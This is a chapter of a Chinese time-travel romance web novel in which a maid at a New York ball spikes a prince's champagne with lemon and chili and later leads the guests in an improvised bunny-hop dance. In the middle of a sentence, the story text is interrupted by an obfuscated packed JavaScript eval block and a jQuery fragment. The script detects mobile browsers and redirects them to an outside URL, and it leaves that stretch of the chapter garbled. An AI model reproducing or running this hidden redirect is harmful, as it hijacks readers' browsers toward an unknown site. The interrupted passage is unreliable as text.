安妮盯着那身雪白的袍子，心里的小人已经抄起了红酒瓶。
但理智一把按住她——泼了痛快，工作可就没了！
「得用聪明法子。」她眼睛一弯，计上心来。
她端起杯深色葡萄汁，溜达到王子附近。趁众人高谈阔论，她飞快地从果盘捞起半个柠檬，手指用力一捏——
「嗤！」一股柠檬汁精准射进杯中，和葡萄汁融得天衣无缝。
她挂起无辜笑脸，小心凑近：「尊贵的殿下，需要喝点东西吗？」
王子正说到兴头，瞥了眼那杯深色液体，嫌弃地摆摆手。
安妮立刻低头，肩膀垮下，「算你走运」。第一步，失败！
她转身又端来杯冒泡的香槟。这次她的「魔法」更隐蔽。背过身的瞬间，指尖一弹，小纸包里的辣椒粉悄无声息融进气泡里。
「殿下，尝尝香槟？」她声音软糯，像个尽责的小可怜。
王子顺手拿起杯子。
安妮屏住呼吸。
王子优雅举杯，喝下一大口——动作突然僵住！眼睛瞪得溜圆，仿佛看见金字塔倒立！喉咙发出「咳咳」怪声。
那味道太复杂了！先是香槟甜，接着柠檬酸重拳出击，最后辣椒粉烈火燎原！三重刺激直冲天灵盖！
「噗——！！咳咳！嗬——！」他再也绷不住，弯腰喷出液体，像个人形喷泉。他呛得满脸通红，眼泪直流，捂着脖子狂咳，神秘感全无。
周围瞬间安静，所有人都看呆了。
也有人遭了殃，赶紧询问更衣室，前往换洗。
「水！快给我水！」王子嘶哑喊道，声音像被掐脖的鸭子。
玛蒂尔达夫人脸色铁青。施耐德先生立刻上前，一面指挥仆人送水，一面面不改色圆场：「万分抱歉殿下！这批香槟……呃……味道非常独特，惊扰您了！」
没人怀疑有人会在香槟里做手脚，更没人注意罪魁祸首早已缩回角落，低眉顺眼，肩膀微耸，不知是吓的还是乐的。
阴影里米芙抬起头，目光穿过人群，精准落向安妮。
恰在此时，安妮也看向米芙。眼神中一种得胜后的窃喜还未来得及掩藏。
米芙的目光，无声问道：你做的？
安妮只是极快、极轻微地摇了一下头，示意米芙别露声色。
舞池里的音乐重新响起，什么都没有发生。
/
安妮刚退回阴影处，就感觉一道不容忽视的目光落在了自己身上。
她抬头，心里咯噔一下——那位刚被她捉弄过的阿拉伯王子，正穿过人群，径直朝她走来。
他脸上还带着刚才呛咳留下的些许红晕，眼神里却混合着探究和一种让她不安的兴致。
他在安妮面前站定，高大的身影带来一股压迫感。他无视周围宾客诧异的目光，用那带着口音的英语朗声开口，声音足以让附近的人都听见：「你很有趣。我邀请你跳下一支舞。」
一瞬间，周遭的空气仿佛凝固了。
凝固的还有安妮。思绪片刻间已经百转千回，难道——霸道总裁爱上我的情节要上演了？
玛蒂尔达夫人的脸色变得更难看了。一个王子邀请一个女仆跳舞？这简直是闻所未闻的荒唐事！不是抬举，更像是某种羞辱式的戏弄。
安妮的心狂跳起来。她根本不会跳这个时代的交谊舞！那些舞步，她只在电视上见过。
拒绝？她不敢。接受？当众出丑几乎是一定的。
「殿下，我……」安妮声音发紧，「我只是个女仆，我不懂……」
「不懂可以学。」王子打断她，语气带着不容置疑的戏谑，「还是说，布鲁克家的女仆，连最简单的舞步都不会？」这话隐隐将压力抛向了主家。
玛蒂尔达夫人嘴唇抿得死死的，却不好出面阻止。
安妮知道躲不过了。她硬着头皮，将手轻轻放在王子伸出的手上。
音乐响起，是一支轻快的波尔卡。安妮几乎是被王子拖着进入舞池的。她努力回忆着看过的零星画面，脚步却混乱不堪，好几次狠狠踩在王子的靴子上。王子皱紧了眉头，似乎没料到她会这么笨拙，这舞跳得毫无乐趣可言，只剩尴尬。周围传来压抑的低笑声。
一曲终了，安妮的脸红得像要滴血，只想立刻挖个地洞钻进去。
王子松开手，语气略带嘲讽：「你真不会跳舞，难道只会端茶送水？」
安妮知道这是对方的还击。王子已经猜到了是自己在酒水中动手脚，但没有证据揭露。
也许是窘迫到了极点反而生出勇气，安妮脑中灵光一闪，忽然抬起头，脸上挤出个怯生生却又带着点期待的笑容：「殿下，我们故乡的舞步和这里不太一样。那是一种更快乐、更简单的舞蹈，大家围成圈，跟着节奏一起跳，不需要复杂的步伐。您……想试试吗？」
王子挑挑眉，彷佛真被勾起了好奇心：「哦？什么样的舞蹈？」
「它叫……『快乐踏步舞』。」安妮临时胡诌了个名字，其实就是她小时候跳的简化版兔子舞，「只需要跟着音乐，左左右右，前前后后，轻轻跳起来就好，大家手拉手，就像一场游戏。」
她的话也引起了周围一些年轻宾客的兴趣，他们看惯了规规矩矩的华尔兹，对这新奇的玩法感到好奇。加上酒精的作用，开始起哄，「跳这个，跳这个！」
王子似乎觉得这会让安妮更丢人，便点了点头：「有点意思。你来示范。」
安妮心一横，已经顾不上玛蒂尔达夫人投来的眼刀，走到乐师旁边，低声飞快地哼了一小段简单重复、节奏明快的调子。乐师们面面相觑，但在一众起哄声中，还是尝试着奏出了一段类似的、循环的活泼旋律。
这音乐正是2000年前后风靡一时的电子音乐《Penguin''s Game》的节奏。很多人跳兔子舞会选的经典曲目。
安妮站在舞池中央，感觉所有人的目光都钉在自己身上。她硬着头皮，开始做动作：「大家看，就这样，双手搭在前面人的肩上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417899|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……对，就这样……然后跟着节奏，左脚点两下，右脚点两下，向前跳一步，向后跳一步，再原地蹦三下！很简单！」
她一边说一边将手搭在王子的白袍上，动作稚气得像是孩童游戏。
玛蒂尔达夫人眉头紧锁，觉得安妮把布鲁克家舞会的格调都丢尽了。她刚要呵斥「简直是在胡闹！」
却见几个年轻人觉得好玩，加入了进来。接着，更多人被这新奇简单的舞蹈和欢快节奏吸引，嘻嘻哈哈地加入队伍，很快就连成了歪歪扭扭的长龙。舞会里紧绷的社交礼仪仿佛一下子被打破了，充满了笑声和杂乱的脚步声。
王子在人群中忽然大笑，他似乎觉得这比正经跳舞好玩多了。玛蒂尔达夫人看着这意想不到的场面，明智地闭上了嘴巴，紧锁的眉头渐渐舒展——无论如何，她的舞会变成这个舞会季特别而令人难忘的存在。
安妮看着这荒诞而热闹的场面，刚松了口气，却瞥见王子再次投来的目光……
/
舞会临近十点，宾客们陆续开始道别。
安妮躲到走廊边摆放点心的长桌旁，想歇歇脚。
一个身影挡在她面前。是那位阿拉伯王子。
他目光直接地看着她：「你，很特别。不像这里的女人。」
安妮心里警铃大作，下意识后退半步。
「我们有很多共通之处」王子语气笃定，仿佛在陈述一个既定事实，「跟我走。你不用再做这些伺候人的活儿。」
安妮头皮一阵发麻。
1870年代的阿拉伯地区？她历史系的知识瞬间涌入脑海——那绝不是后世石油带来的富庶天堂，而是奥斯曼帝国孱弱统治下、封闭保守的地区。女性地位低下，生活在一个与现代文明截然不同的世界里。
跟他走？那等于跳进另一个完全失去自由的牢笼，比当女仆可怕千万倍！
她迅速镇定下来，脸上露出一种混合着虔诚与坚定的表情，微微屈膝行礼：「殿下，您的厚爱让我惶恐。但是，我自幼信奉天主，我们坚信一夫一妻是上帝赐予最美好的婚姻关系，彼此忠诚，互为唯一。我无意冒犯，但恐怕在你们那里，无法保证这一点。」她抬起眼，目光冷静而清澈，看着他，「而且，在纽约，我们相信女性也可以通过自己的劳动获得尊重，拥有独立的地位。我很感激现在的生活。请您原谅。」
她的话说得冠冕堂皇，引用了对方难以反驳的价值观。
阿拉伯王子愣住了。他显然没料到会得到这样的回答。他盯着安妮看了几秒，眼神里的热切慢慢冷却，最终化为一丝不解和黯然。他沉默地点点头，没再说什么，转身离开了。
安妮看着他的背影，无声地舒了一口气。又像是什么东西丢失了一样，让她空落落的。
她来不及细想。
就在这时，宴会厅门口传来一阵轻微的骚动。
一个略显疲惫但沉稳的男声响起：「希望我还不算来得太晚，玛蒂尔达。」
安妮循声望去。